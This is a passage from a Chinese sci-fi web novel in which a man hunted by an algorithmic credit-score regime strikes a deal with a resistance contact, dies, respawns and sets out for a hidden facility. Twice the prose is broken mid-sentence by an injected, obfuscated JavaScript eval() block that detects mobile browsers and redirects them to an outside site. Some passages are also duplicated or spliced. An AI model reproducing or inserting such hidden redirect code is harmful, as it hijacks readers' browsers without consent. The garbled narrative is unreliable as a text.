“威胁度是系统算法对你‘异常程度’的量化指标。”守桥人调出另一组数据,那是林越个人档案的截图,“0%表示完全可预测、可归类;100%表示完全不可预测、无法归类。你现在是43%,意味着系统有57%的把握将你塞进某个现有的处理模型,但剩下的43%它完全看不懂。每次死亡后威胁度上升,是因为死亡瞬间的数据冲击会加剧你身上那种……独特的扰动模式。” 林越消化着这些信息。所以他的威胁等级,不是因为什么穿越天赋,而是因为系统看不懂他和他的玉坠? “清道夫呢?”他问,“数据健康部,还有那个‘健康检查’……” “社会系统的‘净化□□部队’。”守桥人的声音里第一次有了情绪——轻微的讽刺,“他们的职责是清除一切被算法判定为高风险的数据污染源和认知异常者。‘健康检查’只是个好听的说法。本质是把异常个体变回可预测的普通零件,或者直接物理清除。” “清除的意思是?” “意识格式化,人格重构,或者直接物理销毁。”守桥人说得很平静,“系统不接受无法理解的存在。你的威胁度在死亡后上升,这是‘极端压力激活’现象,系统历史记录里只出现过三例。前两例都被清道夫以最高效率清除了。”守桥人顿了顿,“第三例是你。清道夫已经升级了你的优先级,下次围捕将是‘清除模式’,不留活口,不要数据,只要确认销毁。” 房间里的空气好像更冷了。 “老枪呢?”林越问,“他是你们的人?” “前系统漏洞研究员,编号A-07。他发现了系统对‘异常’处理的真相,试图在内部推动改革,结果被系统标记为‘叛变者’。现在应该已经被清道夫控制。”守桥人看向林越,“他帮你删除日志、提供工具,一方面是同情,另一方面……可能在你身上看到了打破系统僵局的可能。毕竟,他曾经参与过对前两个‘极端压力激活’案例的处理。” 林越沉默了。老枪的债务,原来是这种债。 “现在到关键问题了。”他抬起头,“你们帮我,想要什么?” 守桥人的投影做出一个类似微笑的表情,但看起来很僵硬。“合作。有限度的合作。” 数据图再次变化,显示出两个并排的面板。 我们提供: ?临时信用分提升方案(利用系统漏洞+伪造贡献数据,可+15分,维持3天) ?清道夫活动预测算法(基于历史数据模式,预测他们下次出现的时间和地点) ?数据稳定技术指导(减缓你身上异常扰动的加剧速度,降低被侦测风险) ?安全通讯频道(加密等级高于当前系统版本) 我们需要: ?异常个体生存数据(你如何在系统追杀下存活、适应、寻找规则漏洞的过程) ?未来必要时,协助其他被标记的异常个体(提供经验指导,或协助他们找到生存缝隙) ?不主动暴露组织存在(除非生命危险) “信息共享,互不干涉核心行动。”守桥人总结,“我们不会要求你参与直接对抗系统的行动,也不会强迫你去做明显送死的任务。我们只想要数据——关于像你这样的‘变量’如何在社会系统的绞杀下存活的真实数据。这些数据能帮我们完善生存策略,保护更多个体。” 林越看着那些条款。条件听起来……合理。甚至有点过于合理。 “所以你们是‘系统漏洞利用培训班’,专门辅导‘被AI追杀的人’?”他忍不住吐槽,“包教包会吗?有毕业证吗?就业率怎么样——哦等等,毕业可能就被清道夫‘就业’了,那算了。” 守桥人这次真的笑了,虽然还是僵硬。“幽默感是被系统标记者常见的心理防御机制。数据显示,存活时间较长的个体都擅长用黑色幽默解构压力。” “谢谢夸奖。”林越说,“最后一个问题:我怎么能确定这不是陷阱?比如你们其实是清道夫的高级钓鱼程序,专门骗我这种‘异常个体’自投罗网?” 守桥人沉默了几秒。 “你无法确定。”他最终说,“就像我们无法确定你是不是系统派来渗透组织的诱饵。合作建立在风险共担的基础上。但考虑一个事实:如果我们要害你,昨天清道夫围捕你时,我们不会干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168199|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰他们的通讯,而是会帮他们精准定位你。” 有道理。林越心想。但还是像在签空白合同,你知道甲方要你干活,但不知道具体要干什么,更不知道干完后会不会被“优化掉”。 但他没得选。 “我同意。”他说,“有限合作。” 守桥人点头。林越的神经接口收到一个数据包,以及一条消息: [信用分临时提升程序已生效] [当前积分:77(+15,临时,有效期72小时)] [新增标签:数据来源异常-待核查(临时分附加状态)] [清道夫预测算法已安装] 积分涨了,但多了个新标签。典型的系统逻辑——给你糖,但糖纸上有毒。 “时间到了。”守桥人说,“离开时请走侧门。另外,建议你立即启用应急身份,未来72小时内不要使用表面身份。清道夫已经锁定你昨天的活动区域,追踪信号在加强。” 投影开始闪烁。 “还有一件事。”守桥人在消失前最后说,“玉坠。那是‘钥匙’的碎片。保护好它。系统看不懂它,所以害怕它。当你的异常数据模式威胁度超过50%——也就是系统完全无法理解你的时候——你会更需要它。” 然后,他消失了。 房间恢复明亮。林越坐在椅子上,看着视野里那个“77分”的绿色数字,以及下面那行红色的“数据来源异常-待核查”。 “这感觉,”他喃喃自语,“像用了游戏外挂,爽了三秒,然后发现管理员已经盯上你了,封号通知正在路上。” 林越从侧门离开维修店时,神经接口的警报响了。 不是尖锐的爆鸣,而是低沉的嗡鸣,像远处传来的蜂群。视野边缘出现红色闪烁框: [检测到主动扫描信号] [来源:未知,强度3级(监控无人机?)] [方向:东北,距离约200米,正在接近] 他立刻钻进侧巷,沿着侦查时规划的路线小跑。凌晨时分的监控盲区现在已经有零星行人,他压低帽檐,混入一个刚下夜班的工人群体,跟着他们走向公交站。 悬浮公交进站时,扫描信号突然增强到5级。 林越跳上车,找了个靠窗位置坐下。车启动的瞬间,他透过车窗看到巷口闪过一个黑影——扁平的六边形机体,下方有红色的扫描光束。 清道夫的侦察无人机。而且不止一台。 公交沿着预定路线行驶,林越不断切换神经接口的监控视角,观察后方。无人机没有跟上来,但信号显示它们正在以维修店为中心,部署一个半径五百米的扫描网。 守桥人说追踪信号确认,看来是真的。 二十多分钟后,他在第七区边缘下车,步行进入一片老旧居民区。这里的建筑密集,监控覆盖率低,巷道复杂得像迷宫。他找到昨天标记的一个半废弃地下室入口,撬开锁,钻了进去。 地下室里堆满杂物,但有电源接口,更重要的是——这里的电磁干扰很强,神经接口显示外部信号衰减了70%。 暂时安全。 林越靠着墙坐下,打开神经接口,开始处理当前状态。 问题列表: 1.信用分:77分(临时),但有“数据来源异常”标签。系统可能在72小时后核查,一旦发现是漏洞刷分,不仅分扣回去,还可能加罚。 2.清道夫追踪:已经升级,下次是“清除模式”。预测算法显示,他们最可能在36-48小时内再次定位他。 3.身份选择:守桥人建议启用应急身份,放弃表面身份。但应急身份意味着过去七天积累的所有社会关系、工作记录、信用基础全部清零,变成彻底的“数字幽灵”。而表面身份虽然脆弱,但至少有77分(临时),能维持基本生存。 4.时间窗口:72小时。临时分有效期,也是清道夫可能再次出现的窗口。 “启用应急身份,就是放弃所有表面伪装,彻底转入地下。”他分析,“好处是清道夫更难追踪,坏处是……一旦离开表面身份,再想回来几乎不可能。而且应急身份的资源有限,撑不了多久。” “不启用,继续用表面身份周旋,利用77分争取时间,想办法在72小时内解决信用分问题,同时规避清道夫。” 前者是高风险、低可持续性。后者是……更高风险、但如果成功,可持续性更强。 他想起守桥人的话:“清道夫没有KPI,只有清除指标。指标是100%。” 又想起自己刚才的吐槽:“这合作就像签空白合同。” 最后,他想起手腕上的红痕。只剩两道了。下一次死亡,就只剩最后一条命。 地下室里很安静,只有远处管道偶尔传来的滴水声。神经接口的时间显示下午3点22分,距离会面结束不到一小时。 他做了决定。 不全用,也不全弃。双线并行。 具体计划: 1.表面身份:继续使用,但极度谨慎。利用77分临时分,立即申请“社区数据清理员”的兼职(这类工作需要信用分65以上,他刚好够格)。通过合法工作提升信用分,争取在72小时内把真实分数刷到70以上,覆盖临时分失效后的下跌。 2.应急身份:不完全启用,但做好准备。在数据层面保持激活状态,一旦表面身份暴露或被围捕,立即切换。同时,利用应急身份的数据空间存储所有关键信息,包括守桥人提供的算法、威胁度稳定技术、清道夫预测数据。 3.灰色身份:限制使用老枪工具包(因为有后门),但保留加密通讯功能。尝试用守桥人提供的安全频道联系,确认老枪下落,以及获取更多关于系统认知异常研究程序的信息。 4.核心目标:72小时内,把真实信用分提到70+;摸清清道夫的“清除模式”具体流程;找到稳定威胁度的方法;以及……搞清楚玉坠作为“钥匙碎片”到底怎么用。 计划列完,他感觉稍微踏实了点。虽然这计划像在悬崖上走钢丝,下面还铺满了钉子。 神经接口突然弹出一条新消息,来自守桥人提供的安全频道: [追踪信号确认升级。清道夫已部署‘蜂群’协议,12小时内将覆盖第七区全境。建议:立即移动,不要在任何地点停留超过4小时。] [预测算法更新:下次高危窗口——今日18:00至明日6:00。] 林越看了眼时间:下午3点35分。 距离高危窗口还有两个多小时。 他站起身,拍了拍身上的灰尘,重新背上背包。离开地下室前,他又检查了一遍手腕的红痕。 两道,在昏暗光线中微微发红。 “所以现在的选择是,”他低声说,“立刻启用应急身份,躲起来,但可能饿死或被困死;还是继续用表面身份周旋,赌能在清道夫找到我之前把分数刷上去,赌我能活过高危窗口。” 这选择,像在选“立刻死”还是“等等再死”。 他选择了后者。 推开门,重新走进午后阳光里时,他想:至少“等等再死”还有操作空间。而程序员最擅长的,就是在死线前极限操作。 虽然这次死线,真的是字面意思。 神经接口里,信用分“77”的绿色数字微微闪烁,像在倒计时。 72小时。 他朝最近的社区服务中心走去。 28.幽灵追踪 凌晨三点半的废弃数据中转站地下室里,唯一的光源是林越神经接口投射出的淡蓝色悬浮屏。 屏幕被分成三块:左边是规则A的完整条文,右边是规则B的冲突条款,中间是他刚整理的十七个被系统拒绝的隐私删除请求案例——每个案例的拒绝理由都略有不同,像是同一道菜在不同餐厅被拒绝时厨师编出的不同借口。 “所以,”林越对着空气说话,实际上是通过加密信道连接着守桥人,“系统既要求核查信用分时必须调取完整数据,又声称公民有权要求删除隐私信息。而当有人真的要求删除时,它就用各种理由拖延,直到……” “直到那个人的信用分低到不需要再考虑他的隐私权。”守桥人的声音通过神经接口直接传入,带着某种电子合成的冷静,“经典的双重束缚。系统设计的初衷就是让你无论怎么选都是错的。” 林越揉了揉太阳穴。连续逃亡加上刚才的规则分析,让他感觉大脑像是被塞进了一台老式碎纸机,正在把逻辑和理智一起绞成纸屑。 “申诉成功率多少?”他问。 “根据历史数据,35%。但那是针对普通公民投诉信用分计算错误的情况。”守桥人停顿了一下,“你这种情况——试图用规则矛盾制造系统争议状态——成功率未知。可能更高,也可能直接触发反制程序。” “反制程序?” “标记为‘规则滥用者’,信用分一次性扣20分,然后系统会‘重点关注’你的所有后续行为。”守桥人的声音里难得出现一丝犹豫,“说实话,这有点像在考试时举手举报监考老师违规。理论上可以,但监考老师可能会记住你,并在接下来的考试里特别‘关照’你。” 林越盯着屏幕上的案例。第十七例:公民编号HT-7332,要求删除三年前的医疗记录,理由是“已治愈且涉及个人隐私”。系统回复:“医疗记录属于健康数据,删除需提供当前健康证明(标准格式H-7),且需经三级审核(预计时间:45-60天)。” 而该公民的信用分评估记录显示,就在上个月,系统调用了这份“待删除”的医疗记录,理由是“评估还款能力需核查健康状况”。 “他们甚至懒得掩饰。”林越说。 “系统不需要掩饰。规则写在那就行了,至于怎么执行——”守桥人发出一声类似叹息的电子音,“就像法律条文,总有解释空间。” 林越开始整理申诉材料。过程枯燥得像是在给开源项目的TODO模块写文档,每个漏洞都要详细描述,还要附上可复现的步骤。区别在于,开源项目的漏洞被修复后你会得到感谢,而这个系统的漏洞被点破后,你可能会被系统拉黑。 凌晨四点,申诉提交。 林越用的是守桥人提供的加密提交通道,理论上能绕过实时内容审查。点击“提交”按钮的瞬间,他感觉像是把最后一枚筹码推上了赌桌——要么冻结信用分赢得喘息时间,要么触发反制程序直接出局。 系统的自动回复在三秒后弹出: 【系统消息】申诉编号XQ-20250314-004327已接收。 申诉类型:规则冲突与执行不一致性申诉。 处理流程:申诉委员会审核(当前排队:1427件)。预 计处理时间:2-48小时。在此期间,相关信用分变动将暂时冻结。 备注:若申诉被驳回,申诉人需承担‘滥用申诉系统’责任,信用分扣5-15分。 “冻结了。”林越说。 “暂时冻结。”守桥人纠正道,“而且清道夫理论上应该暂停针对你的行动,因为他们需要信用分变动作为行动依据之一。但我说过,清道夫没有KPI,只有清除指标。指标是100%。他们不会因为你的申诉而停手,只会因为你死了而完成任务。” 林越刚想说什么,守桥人突然提高音量:“环境监控警报。你安全屋东北角的灰尘分布传感器显示异常位移,过去二十分钟内有至少三个物体经过——不是老鼠,老鼠不会让温度传感器检测到37度恒温生物的热辐射。” 预测算法界面弹出,红色的文字闪烁: 【预测算法警报】检测到环境监控节点激活。 安全屋暴露风险:87%。 建议:立即撤离。 林越看了看时间:凌晨四点二十。外面天色还是一片漆黑,但清道夫的网格搜索显然没有因为申诉冻结而停止。 “他们怎么找到这里的?”他一边快速收拾装备一边问。 “可能是追踪了你的神经接口信号残留,可能是分析了城市监控盲区的概率模型,也可能只是——”守桥人停顿,“运气。清道夫有时候会像扫地机器人一样随机巡逻,偶尔撞到墙角就能扫出一堆灰尘。” 撤离路线有三条:返回地面街道(监控密集)、进入隔壁废弃办公区(结构不稳)、或者—— 林越的目光落在地下室角落那个生锈的检修口上。门牌上写着:“第七区地下管道系统,维护权限:V2.0市政服务部(已注销)”。 “管道系统。”他说。 “老旧基础设施,部分区域监控盲区。”守桥人调出地图,“但危险未知。V2.0时代修建,最后一次维护记录是十五年前。可能有积水、有毒气体、结构坍塌风险,还有……” “还有什么?” “其他不想被系统找到的人。” 林越撬开检修口。铁门发出刺耳的尖叫声,像是抗议这不合时宜的打扰。他钻了进去,然后在里面用一根钢管卡住门闩——至少能拖延几分钟。 管道内部比他想象的要宽敞,直径约一米五,足够弯腰行走。墙壁是混凝土浇筑的,表面覆盖着滑腻的苔藓和水渍。空气里有股混合着铁锈、霉菌和某种化学试剂的味道,像是把废旧工厂、湿地公园和实验室废液桶一起塞进了密封罐。 唯一的光源是他戴在额头的便携照明灯,光束切开黑暗,照出前方无尽的管道延伸。 走了大概十分钟,林越发现了第一个监控节点。 那是一个火柴盒大小的黑色装置,嵌在管道壁上一个不起眼的凹槽里,表面覆盖着灰尘,但镜头玻璃干净得反常。林越用照明灯对准它,看到镜头边缘有微弱的红色指示灯闪烁——还在工作。 “V2.0时代的遗留监控。”守桥人分析道,“当时为了监测管道压力和泄漏安装的,理论上应该全部退役了,但看来有些还在苟延残喘。” “他们会用这些监控追踪吗?” “清道夫的装备库里有兼容老系统协议的适配器。”守桥人的声音变得严肃,“继续走,别停下。如果我是他们,会在所有还在工作的老监控节点布设运动传感器。” 林越加快脚步。管道开始向下倾斜,地面变得湿滑,积水没过脚踝。水是浑浊的灰黑色,看不清底下有什么。每次抬脚都能带起一股腐臭味。 又走了二十分钟,他听到前方传来声音。 不是机械声,是人声——压低音量的交谈,还有金属碰撞的轻响。林越关掉照明灯,在黑暗中屏住呼吸。 几秒后,前方拐角处出现晃动的光源。两个人影,都穿着厚实的拼接外套,手里拿着自制的照明棒。他们拖着一个金属推车,车上堆着各种零件和包裹。 边缘人。 林越在匿名论坛里读到过这类人:主动切断与系统的大部分连接,住在监控盲区,靠捡拾废弃物资、做灰色交易为生。信用分低到系统懒得管他们,但清道夫偶尔会组织“清理行动”,像扫荡贫民窟一样把他们赶出某个区域。 其中一个人突然停下,朝林越的方向看来。 “谁在那儿?”声音嘶哑,像是很久没好好说过话。 林越权衡了一秒,然后打开照明灯,但把光束调暗:“路过。不想惹麻烦。” 两人警惕地走近。照明棒的光照出他们的脸:都是中年人,皮肤粗糙,眼睛里有种长期警惕形成的锐利。高个子手里握着一根钢管,矮个子腰间别着把改造过的电击器。 “路过?”高个子打量林越,“这地方可没有‘路过’的说法。要么你是逃犯,要么你是清道夫的诱饵。” “逃犯。”林越说,“清道夫在追我。” 矮个子突然笑了,笑声在管道里回荡:“又一个。最近他们像疯了一样找什么人。听说不是普通逃犯,是‘系统要清除的异常者’。” “异常者?”林越问。 “系统漏洞点。”矮个子压低声音,“我有个表兄以前在数据清理中心工作,听他说过一点。系统有个特殊分类叫‘认知异常者’——神经数据模式不符合任何已知模板,像是有个未知的干扰源在扭曲他们的数据。系统会标记这些人为最高级别威胁,因为他们的存在本身就是对系统稳定性的挑战。” “就像代码里有个无法解释的变量,会让整个程序崩溃。”高个子补充道,语气轻松得像是在说今天吃什么,“清道夫的任务就是‘清理’这些变量,要么修复,要么删除。不过我觉得他们更擅长后者。” “看在你也是被追的份上。”高个子从口袋里掏出一张皱巴巴的纸质地图——在数字时代罕见的物件,“管道系统地图,我手绘的。红线是监控盲区,蓝线是有危险的地方,绿线是能通到地面的出口。” 林越接过地图:“谢谢。作为交换——”他从背包里拿出两包应急营养膏,“这个。” 矮个子眼睛一亮:“成交。另外给你个建议:如果清道夫真的把你当‘异常者’,那他们不会轻易打死你。但他们会用神经脉冲武器,那种让你失去意识但生物特征还活着的玩意儿。中招了就跟植物人一样,任人宰割。” “怎么防?” “防不了。除非你找到干扰器,或者——”高个子指了指林越的手腕,“你手上那东西。” 林越低头。左手腕上,两道红痕在昏暗光线下依然清晰。 “他们也在找有这种标记的人。”矮个子说,“具体原因不知道,但肯定不是好事。” 告别两个边缘人,林越按照地图上的绿线前进。管道开始向上倾斜,空气逐渐变得干燥。又走了半小时,他到达一个检修竖井,梯子通往上方。 地图标注:上方出口——黑水酒吧后巷。 林越爬上梯子,推开顶部的检修盖。外面是狭窄的后巷,堆满垃圾箱,空气中弥漫着变质食物和酒精的混合气味。但重要的是,这里没有监控摄像头——黑水酒吧周边50米是协议规定的0%监控区。 他溜进酒吧后门。 内部和他上次来时没什么变化:昏暗的灯光,老旧的木质吧台,墙上贴满了各种褪色的海报和涂鸦。空气里有灰尘和酒精残留的味道,但仔细闻,还能察觉到一丝不同——有人来过,而且是不久前。 灰尘地板上能看到模糊的脚印,吧台上有几个杯子被移动过,角落里那台老式点唱机的电源指示灯居然亮着。 “有人。”林越低声说。 “扫描显示最近72小时内有活动痕迹。”守桥人汇报,“但当前没有生命体征信号。可能是来过又走了,或者……” “或者什么?” “或者不是活人。” 林越握紧从背包里拿出的简易电击器——用老枪工具包里的零件改装的,威力不大,但至少能让人麻痹几秒。他缓慢移动,检查每个角落。 在酒吧最里面的隔间,他发现了异常。 桌子底下有个隐藏的夹层,木板被巧妙地做成活动式。林越撬开它,里面躺着一个老式数据卡带——黑色外壳,侧面有磨损的标签,写着“A-07备份-最后”。 老枪的笔迹。 林越拿起卡带。重量很轻,但握在手里有种莫名的沉重感。他找到酒吧里还能用的老式读取设备——吧台后面那台用来播放背景音乐的古董播放器,居然有数据卡带插槽。 插入卡带。设备发出嗡嗡的读盘声,屏幕上跳出进度条:0%。 然后停住了。 林越皱眉。他检查接口,重新插拔,没用。进度条固执地停在0%,像是一个拒绝沟通的客服。 这时他想起什么,从怀里掏出玉坠。 玉坠在昏暗光线下泛着温润的光泽。他犹豫了一下,然后把玉坠贴近数据卡带的外壳。 瞬间,玉坠开始发热。 不是错觉,是真的温度上升,从冰凉到温热,再到有些烫手。同时,播放器屏幕上的进度条猛地一跳:0% → 17%。 然后再次停住。 屏幕上出现一行字: 【解密进度:17%】 【所需条件:威胁度≥50% 或异常能量共振】 【当前威胁度:43%】 【建议:提升威胁度或寻找能量共振源】 “玉坠真的是钥匙。”林越喃喃道。 “玉坠确实是钥匙,但它同时也是一个系统无法解析的异常干扰源。”守桥人的声音响起,“系统用‘威胁度’来量化你对它的未知性威胁。43%不够。你需要达到50%以上,或者找到能引发玉坠异常共振的外部条件。” 不是脚步声,是某种低频的嗡鸣,像是大型设备启动时的震动。他跑到酒吧前门,透过门缝往外看。 巷子两头都停了车——黑色的厢式车,没有任何标识,但车顶安装着多频段信号扫描阵列。车门打开,身穿灰色制服的人下车,六个人一组,开始在外围布置设备。 “异常能量共振是什么?” “未知。可能是一个特定的异常能量节点,一个能引发共振的设备,或者——”守桥人停顿,“一次死亡。死亡有时能引发空间层面的扰动。” 他们没进酒吧,像是在等待什么。 “包围圈。”守桥人说,“他们可能不确定你在里面,或者知道这里面是0%监控区不敢轻举妄动。但他们可以等,等到你食物耗尽,或者犯错出来。” 林越退回酒吧内部。背包里的营养膏还能撑两天,水还有三瓶。但问题是,他不能一直躲着——申诉状态只有48小时,临时信用分也只有不到40小时了。时间拖得越久,对他越不利。 更重要的是,清道夫显然知道他大概的位置。继续躲藏只是延缓死亡,而不是避免死亡。 他需要突围。 计划在脑中成形:利用管道系统有多个出口的特点,制造假信号诱饵,把一部分清道夫引开,然后从相反方向突破。具体来说,他可以用老枪工具包里的生物特征模拟器——那玩意儿能发出类似人体热辐射和电磁场的信号,伪装成一个逃跑的人。 “成功率?”他问守桥人。 “模拟器是老型号,清道夫的新装备可能能区分真假。而且如果他们真的把你当‘高威胁目标’,那么对生物特征的检测精度会非常高。”守桥人的声音里听不出情绪,“估计成功率:30%到40%。取决于他们带了多少专业设备。” 林越开始准备。他把模拟器设置成十分钟后启动,然后放在管道系统的另一个出口附近。自己则收拾好所有装备,准备从相反方向的出口突围。 时间走到凌晨五点五十。 模拟器启动的瞬间,林越听到外面传来清道夫的通讯片段——他的神经接口截获了公开频道的信号: “B点检测到生物特征信号,移动方向东南。” “确认,热辐射模式符合目标特征。” “C组、D组向东南方向移动,A组守住当前位置。” 成功了——至少部分成功。 林越深吸一口气,推开酒吧后门的另一条管道出口。这次他没有爬梯子,而是直接跳进管道,落地时溅起一片水花。 他沿着管道全速奔跑。照明灯的光束在黑暗中摇晃,照出前方弯弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173506|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲曲的通道。水声、喘息声、心跳声在管道里回荡。 跑了大概五分钟,前方出现光亮——一个通往外部的出口,外面似乎是某个仓库的后院。 林越加快速度,但在距离出口还有十米时,他突然停下。 出口处站着一个人。 灰色制服,头盔面罩遮住脸,手里拿着一个造型奇特的武器——枪管粗短,前端有环状电极,枪身连接着背上的能源包。 神经脉冲武器。 “林越,公民编号HT-8848。”对方开口,声音通过面罩的扬声器传出,冰冷而机械,“请放弃抵抗。此区域已封锁,继续逃跑将导致非致命性武力使用。” 林越缓缓后退。他能看到对方身后还有至少三个清道夫,正在从不同方向包抄。 “威胁度评估:43%,极端生理压力-数据扰动关联状态确认。”领头的清道夫继续说,像是在念检查清单,“符合‘高威胁认知异常者’标准。建议:完整捕获,优先保证认知功能完整。” 认知功能完整。 林越想起边缘人的话:“清道夫的任务就是‘清理’这些变量,要么修复,要么删除。” 他转身就跑,但已经晚了。 “威胁度评估:43%,极端生理压力-数据扰动关联状态确认。”领头的清道夫继续说,像是在念检查清单,“符合‘高威胁认知异常者’标准。建议:完整捕获,优先保证认知功能完整。” 接着是疼痛——不是□□上的疼痛,而是意识层面的撕裂感。像是有人用一把钝刀从他的后脑勺插进去,然后在里面搅动,把思维、记忆、自我认知一点点绞碎。 他倒在地上,视野开始变暗。最后看到的是清道夫走近,手里拿着一个金属箱子,箱子上印着标志:系统维护部,异常数据采集套装。 然后黑暗吞噬了一切。 死亡体验总结: 他倒在地上,视野开始变暗。最后看到的是清道夫走近,手里拿着一个金属箱子,箱子上印着标志:系统维护部,异常数据采集套装。 林越在虚空中漂浮了一段时间。没有时间概念,没有空间概念,只有纯粹的“存在”。他想思考,但思考需要依托,而他现在的状态像是失去了依托的信号,只剩下本质。 然后,熟悉的牵引感传来。 像是有根绳子拴住了他的意识,开始往回拉。速度越来越快,虚空倒退,黑暗褪去,光线重新出现。 他睁开眼。 公民服务中心的临时宿舍,熟悉的金属天花板,熟悉的消毒水气味,熟悉的手腕刺痛感。 林越抬起左手。 三道红痕,现在只剩一道。 第二道彻底消失了,连极淡的印记都没留下。只剩最后一道,鲜红色,像是用血画上去的,边缘清晰得刺眼。 同时,神经接口自动弹出一堆系统消息: 【系统通知】检测到公民HT-8848生命体征异常波动,已自动呼叫急救服务(未响应)。 【健康状态更新】当前状态:稳定。备注:检测到神经脉冲暴露史,建议进行全面健康检查。 【信用分状态】申诉处理中,信用分冻结剩余时间:42小时。临时信用分剩余:24小时18分钟。 【标签更新】新增:‘极端生理压力-数据扰动关联模式确认’,‘威胁度加速上升’,‘建议立即进行全面健康检查’。 然后是威胁度评估的变化: 上次评估:43% 当前评估:46%变化:+3% 备注:极端生理压力-数据扰动关联效应增强,威胁度上升速度提升。 林越坐起来,感觉身体没什么异常,但意识深处有种微妙的异样感——像是有什么东西被解锁了,或者被激活了。 他摸了摸口袋。玉坠还在,而且明显发热,温度比平时高出至少五度。拿出玉坠,他看到表面居然有微光流动,像是里面有液体在缓慢循环。 守桥人的通讯请求几乎同时传来。 林越接通。 “你还活着。”守桥人的声音第一次出现了明显的情绪波动——像是惊讶,又像是担忧,“清道夫用了神经脉冲武器,那东西理论上应该让你的大脑进入不可逆的休眠状态。但你的生物特征显示……完全正常。除了威胁度上升了3%。” “死亡激活。”林越说,“每死一次,威胁度就上升。上次死了涨到43%,这次到46%。如果我再死一次……” “可能突破50%,达到稳定阈值。”守桥人接话,“但问题在于,威胁度达到50%意味着什么?是你能更稳定地利用钥匙碎片,还是系统能完全将你锁定为目标?” 林越不知道答案。但他知道另一件事:老枪的数据包解密需要威胁度50%以上,而他现在是46%。 再死一次,也许就够了。 但这个想法太疯狂。红痕只剩最后一道,再死就是真的死亡——不是重生,是彻底结束。 他查看系统记录。死亡被标记为“意外神经脉冲暴露”,但备注里有一行小字:“生物特征与高威胁异常者匹配,建议纳入重点监控名单”。 申诉状态则显示:“因公民处于健康危机状态,申诉处理暂停。但信用分冻结依然有效。” 信用分冻结,临时分还剩24小时,清道夫知道他的苏醒地点——公民服务中心是临时公民的标准住宿点,他们肯定在这里布控了。 他必须马上离开。 但去哪里? 选项在脑中浮现: A.继续逃亡,利用最后一条命和剩余时间赌一把。 B.主动联系桥梁守护者,寻求庇护。 C.冒险解密老枪数据包,寻找系统漏洞的弱点。 D.前往老枪数据包里标注的“样本储存区”——最危险的地方可能最安全,而且那里也许有控制威胁度的方法。 林越思考了三十秒。 然后他做出选择。 收拾好所有能带的东西——其实也没多少,就是背包、玉坠、老枪的数据卡带、一些工具和剩余的营养膏。他检查了临时宿舍的窗户,外面是服务中心的后院,没有监控摄像头,只有几个运动传感器。 凌晨六点二十,天色开始微亮。服务中心的夜间模式即将结束,日间工作人员很快会来交接。 林越推开窗户,翻出去,落地时尽量轻盈。运动传感器被触发了一个,但没关系——这种低级别警报通常需要五分钟才会有人响应。 他穿过后院,翻过围墙,进入一条小巷。 神经接口里,守桥人问:“你想好了?样本储存区可能是陷阱。” “哪里都是陷阱。”林越说,“但至少那里可能有答案——关于我为什么是‘异常者’,关于这个系统的本质,关于怎么结束这一切。” “坐标已输入你的导航系统。距离:三公里。路线规划:避开主要监控区,但有七段无法避免的盲区穿越。预计到达时间:四十分钟。” 林越开始移动。 左手腕上,最后一道红痕在晨光中显得格外刺眼。他能感觉到它在发热,像是有什么东西在里面流动,等待释放。 玉坠在口袋里持续发热,温度已经高到有些烫手。神经接口偶尔会闪过一些乱码,像是玉坠在尝试传输什么信息,但目前的威胁度还不够解密。 三公里。四十分钟。最后一条命。 要么找到生路,要么成为标本。 而标本至少不用再担心信用分。 林越在小巷中奔跑,身后是逐渐亮起的城市天际线。 他不知道样本储存区里有什么。 但他知道,留在原地只有一种结局。 而向前,至少还有可能性。 哪怕那可能性需要他用最后一条命去赌。 29.样本储存区 第七区工业废墟在晨光中看起来像是被巨人踩碎的玩具。 林越站在一堆扭曲的金属骨架前,左手腕上的红痕灼热得像要烧穿皮肤。导航系统显示坐标就在这片废墟中心,但放眼望去只有锈蚀的管道、坍塌的混凝土板和顽强生长的野草。 “你确定是这里?”他低声问。 守桥人的声音通过安全频道传来,带着一种近乎无奈的电子音:“坐标没错。样本储存区通常伪装成公共基础设施,污水处理厂、变电站、地下仓库……总之是那种人们看到会绕道走的地方。” 林越在一堆废铁后面找到了入口。确切说,是找到了伪装成污水处理厂通风井的金属圆盖,直径约一米五,表面覆盖着锈迹和鸟粪。圆盖边缘有一圈几乎看不见的缝隙,如果不是导航系统精确标记,他绝对会以为这玩意儿是废墟的一部分。 他蹲下检查。没有锁孔,没有控制面板,没有任何明显的开启机制。但当他伸手触碰金属表面时,左手腕的红痕突然剧烈发热,玉坠也从口袋里传来同样的灼烧感。 “异常神经数据模式识别。”守桥人说,“你的威胁度46%,应该足够激活基础访问权限。但注意,这也会向设施内部系统发送通知——如果还有系统在运行的话。” 林越把手掌按在圆盖中央。金属表面瞬间变得冰凉,然后开始发光——淡蓝色的光线从掌心位置向外扩散,形成复杂的几何图案。圆盖无声地滑开,露出向下的金属阶梯,阶梯两侧的壁灯逐一点亮,延伸进深不见底的黑暗。 空气里有股混合着霉味、化学试剂和某种防腐剂的气味,像是把数据服务器机房、医院停尸房和废旧化工厂一起塞进了密封罐。 “欢迎来到你的数据派对现场。”林越自言自语,“希望派对主题不是‘格式化展示’。” 样本储存区像“服务器机房的恐怖版,只是数据以前是文件,现在是人的意识”。 